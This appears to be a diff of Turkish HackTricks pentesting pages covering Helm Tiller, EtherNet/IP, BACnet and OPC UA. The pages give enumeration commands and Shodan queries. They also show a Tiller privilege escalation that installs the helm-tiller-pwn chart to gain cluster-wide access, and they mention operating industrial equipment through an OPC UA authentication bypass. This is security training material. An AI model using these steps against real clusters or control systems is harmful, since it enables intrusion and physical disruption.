AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a</strong> katılın!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
Helm, Kubernetes için bir **paket yöneticisidir**. YAML dosyalarını paketleyip bunları genel ve özel depolarda dağıtmaya olanak sağlar. Bu paketlere **Helm Charts** denir. **Tiller**, varsayılan olarak 44134 portunda çalışan bir **hizmettir**.
|
||||
Helm, Kubernetes için **paket yöneticisidir**. YAML dosyalarını paketlemeye ve bunları kamu ve özel depolarda dağıtmaya olanak tanır. Bu paketlere **Helm Charts** denir. **Tiller**, varsayılan olarak 44134 numaralı portta çalışan **hizmettir**.
|
||||
|
||||
**Varsayılan port:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# Numaralandırma
|
||||
# Enumeration
|
||||
|
||||
Farklı ad alanlarının **kapsayıcıları ve/veya hizmetleri numaralandırabiliyorsanız**, onları numaralandırın ve **isimlerinde "tiller" geçenleri** arayın:
|
||||
Eğer farklı ad alanlarının **podlarını ve/veya hizmetlerini sıralayabiliyorsanız**, bunları sıralayın ve **adında "tiller"** geçenleri arayın:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -43,39 +46,40 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
Bu hizmeti çalışırken bulmak için 44134 portunu kontrol etmeyi deneyebilirsiniz:
|
||||
Bu hizmetin çalışıp çalışmadığını kontrol ederek 44134 numaralı portu kontrol etmeyi de deneyebilirsiniz:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
Bulduktan sonra, istemci helm uygulamasını indirerek onunla iletişim kurabilirsiniz. `homebrew` gibi araçları kullanabilir veya [**resmi sürümler sayfasına**](https://github.com/helm/helm/releases) bakabilirsiniz. Daha fazla ayrıntı veya diğer seçenekler için [kurulum kılavuzuna](https://v2.helm.sh/docs/using_helm/#installing-helm) bakın.
|
||||
Bir kez keşfettikten sonra, istemci helm uygulamasını indirerek onunla iletişim kurabilirsiniz. `homebrew` gibi araçlar kullanabilir veya [**resmi sürümler sayfasına**](https://github.com/helm/helm/releases)** bakabilirsiniz.** Daha fazla ayrıntı veya diğer seçenekler için [kurulum kılavuzuna](https://v2.helm.sh/docs/using\_helm/#installing-helm) bakın.
|
||||
|
||||
Ardından, hizmeti **numaralandırabilirsiniz**:
|
||||
Sonra, **servisi listeleyebilirsiniz**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## Ayrıcalık Yükseltme
|
||||
## Yetki Yükseltme
|
||||
|
||||
Varsayılan olarak **Helm2**, **kube-system** ad alanında **yüksek ayrıcalıklarla** kurulmuştur, bu yüzden servisi bulursanız ve erişiminiz varsa, bu size **ayrıcalıkları yükseltme** imkanı sağlayabilir.
|
||||
Varsayılan olarak **Helm2**, **kube-system** **ad alanında** **yüksek yetkilerle** kuruldu, bu nedenle hizmeti bulup buna erişiminiz varsa, bu size **yetki yükseltme** imkanı verebilir.
|
||||
|
||||
Yapmanız gereken tek şey, şu gibi bir paket kurmaktır: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), bu paket varsayılan servis jetonuna tüm kümedeki her şeye erişim sağlar.
|
||||
Yapmanız gereken tek şey, **tüm kümedeki her şeye varsayılan hizmet token erişimi** verecek olan şu paketi kurmaktır: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn)
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) adresinde **saldırının açıklamasını** bulabilirsiniz, ancak temel olarak _helm-tiller-pwn/pwnchart/templates/_ içindeki **clusterrole.yaml** ve **clusterrolebinding.yaml** dosyalarını okursanız, **tüm yetkilerin varsayılan belirteçe verildiğini** görebilirsiniz.
|
||||
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) **saldırının açıklamasını** bulabilirsiniz, ancak temelde, _helm-tiller-pwn/pwnchart/templates/_ içindeki [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) ve [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dosyalarını okursanız, **tüm ayrıcalıkların varsayılan tokene nasıl verildiğini** görebilirsiniz.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking Öğrenin ve Pratik Yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking Öğrenin ve Pratik Yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Protokol Bilgisi**
|
||||
|
||||
EtherNet/IP, genellikle **endüstriyel otomasyon kontrol sistemlerinde** kullanılan bir **endüstriyel Ethernet ağı protokolüdür**. Rockwell Automation tarafından 1990'ların sonlarında geliştirilmiş olup ODVA tarafından yönetilmektedir. Protokol, **çoklu satıcı sistem uyumluluğunu** sağlar ve **su işleme tesisleri**, **üretim tesisleri** ve **hizmetler** gibi çeşitli uygulamalarda kullanılır. Bir EtherNet/IP cihazını tanımlamak için, bir sorgu **TCP/44818** portuna bir **Kimlik Listesi Mesajı (0x63)** gönderilir.
|
||||
EtherNet/IP, **endüstriyel otomasyon kontrol sistemlerinde** yaygın olarak kullanılan bir **endüstriyel Ethernet ağ protokolüdür**. 1990'ların sonlarında Rockwell Automation tarafından geliştirilmiş ve ODVA tarafından yönetilmektedir. Protokol, **çoklu satıcı sistemleri arasında birlikte çalışabilirliği** sağlar ve **su işleme tesisleri**, **üretim tesisleri** ve **altyapı** gibi çeşitli uygulamalarda kullanılmaktadır. Bir EtherNet/IP cihazını tanımlamak için, **TCP/44818**'e bir **Kimlikler Listesi Mesajı (0x63)** gönderilir.
|
||||
|
||||
**Varsayılan port:** 44818 UDP/TCP
|
||||
```
|
||||
|
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
* `port:44818 "ürün adı"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Protokol Bilgisi
|
||||
|
||||
**BACnet**, **ASHRAE**, **ANSI** ve **ISO 16484-5 standardı** protokolünü kullanan Bina Otomasyonu ve Kontrol (BAC) ağları için bir **iletişim protokolüdür**. BACnet, bina otomasyonu ve kontrol sistemleri arasında iletişimi kolaylaştırır ve HVAC kontrolü, aydınlatma kontrolü, erişim kontrolü ve yangın tespit sistemleri gibi uygulamaların bilgi alışverişini sağlar. BACnet, etkileşim sağlar ve bilgisayarlaştırılmış bina otomasyon cihazlarının, sağladıkları belirli hizmetlerden bağımsız olarak iletişim kurmalarına olanak tanır.
|
||||
**BACnet**, **ASHRAE**, **ANSI** ve **ISO 16484-5 standardı** protokolünü kullanan bir **iletişim protokolü** olup, Bina Otomasyonu ve Kontrol (BAC) ağları için tasarlanmıştır. Bina otomasyonu ve kontrol sistemleri arasında iletişimi kolaylaştırarak, HVAC kontrolü, aydınlatma kontrolü, erişim kontrolü ve yangın algılama sistemleri gibi uygulamaların bilgi alışverişi yapmasına olanak tanır. BACnet, birlikte çalışabilirliği sağlar ve bilgisayarlaştırılmış bina otomasyon cihazlarının, sağladıkları belirli hizmetlerden bağımsız olarak iletişim kurmasına olanak tanır.
|
||||
|
||||
**Varsayılan port:** 47808
|
||||
```text
|
||||
PORT STATE SERVICE
|
||||
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
||||
```
|
||||
# Sıralama
|
||||
# Enumeration
|
||||
|
||||
## Manuel
|
||||
```bash
|
||||
|
@ -50,9 +51,26 @@ print(f"Version: {readDevice[2]}")
|
|||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
Bu betik, yalnızca bir IP adreslenebilir cihaza doğrudan BACnet istekleri gönderir, BACnet ağına yabancı bir cihaz olarak katılmaya çalışmaz.
|
||||
Bu script, bir BACnet ağına yabancı bir cihaz olarak katılmayı denemez, sadece BACnet isteklerini doğrudan IP adresi olan bir cihaza gönderir.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,42 @@
|
|||
# 4840 - OPC UA Pentesting
|
||||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**OPC UA**, **Açık Platform İletişimi Birleşik Erişimi** anlamına gelir ve Veri Alışverişi ve Ekipman Kontrolü gibi çeşitli endüstrilerde, üretim, enerji, havacılık ve savunma gibi kullanılan önemli bir açık kaynak protokoldür. Özellikle PLC'lerle farklı satıcıların ekipmanlarının iletişim kurmasını sağlar.
|
||||
**OPC UA**, **Açık Platform İletişim Birleşik Erişim** anlamına gelir, çeşitli endüstrilerde, özellikle Üretim, Enerji, Havacılık ve Savunma alanlarında veri alışverişi ve ekipman kontrolü için kullanılan önemli bir açık kaynak protokoldür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
|
||||
|
||||
Yapılandırması güçlü güvenlik önlemlerine izin verir, ancak eski cihazlarla uyumluluk için bunlar azaltılabilir ve sistemler risk altında kalabilir. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları bunları standart olmayan bağlantı noktalarında tespit etmeyebilir.
|
||||
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bu önlemler azaltılır ve sistemler risklere maruz kalır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
|
||||
|
||||
**Varsayılan bağlantı noktası:** 4840
|
||||
**Varsayılan port:** 4840
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
4840/tcp open unknown syn-ack
|
||||
```
|
||||
## OPC UA Pentesting
|
||||
## Pentesting OPC UA
|
||||
|
||||
OPC UA sunucularındaki güvenlik sorunlarını ortaya çıkarmak için [OpalOPC](https://opalopc.com/) ile tarama yapın.
|
||||
OPC UA sunucularındaki güvenlik sorunlarını ortaya çıkarmak için [OpalOPC](https://opalopc.com/) ile tarayın.
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Zafiyetleri sömürme
|
||||
### Açıkların Sömürülmesi
|
||||
|
||||
Eğer kimlik doğrulama atlatma zafiyetleri bulunursa, bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve erişebileceğiniz şeyleri görebilirsiniz. Bu, sadece işlem değerlerini okumaktan ağır endüstriyel ekipmanları çalıştırmaya kadar her şeyi mümkün kılabilir.
|
||||
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve neye erişebileceğinizi görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını çalıştırmaya kadar her şeyi mümkün kılabilir.
|
||||
|
||||
Erişiminiz olan cihaz hakkında bir ipucu almak için adres alanındaki "ServerStatus" düğüm değerlerini okuyun ve kullanım kılavuzu için Google'da arama yapın.
|
||||
Erişim sağladığınız cihaz hakkında bir ipucu almak için adres alanındaki "ServerStatus" düğüm değerlerini okuyun ve bir kullanım kılavuzu için Google'da arama yapın.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -45,16 +46,17 @@ Erişiminiz olan cihaz hakkında bir ipucu almak için adres alanındaki "Server
|
|||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
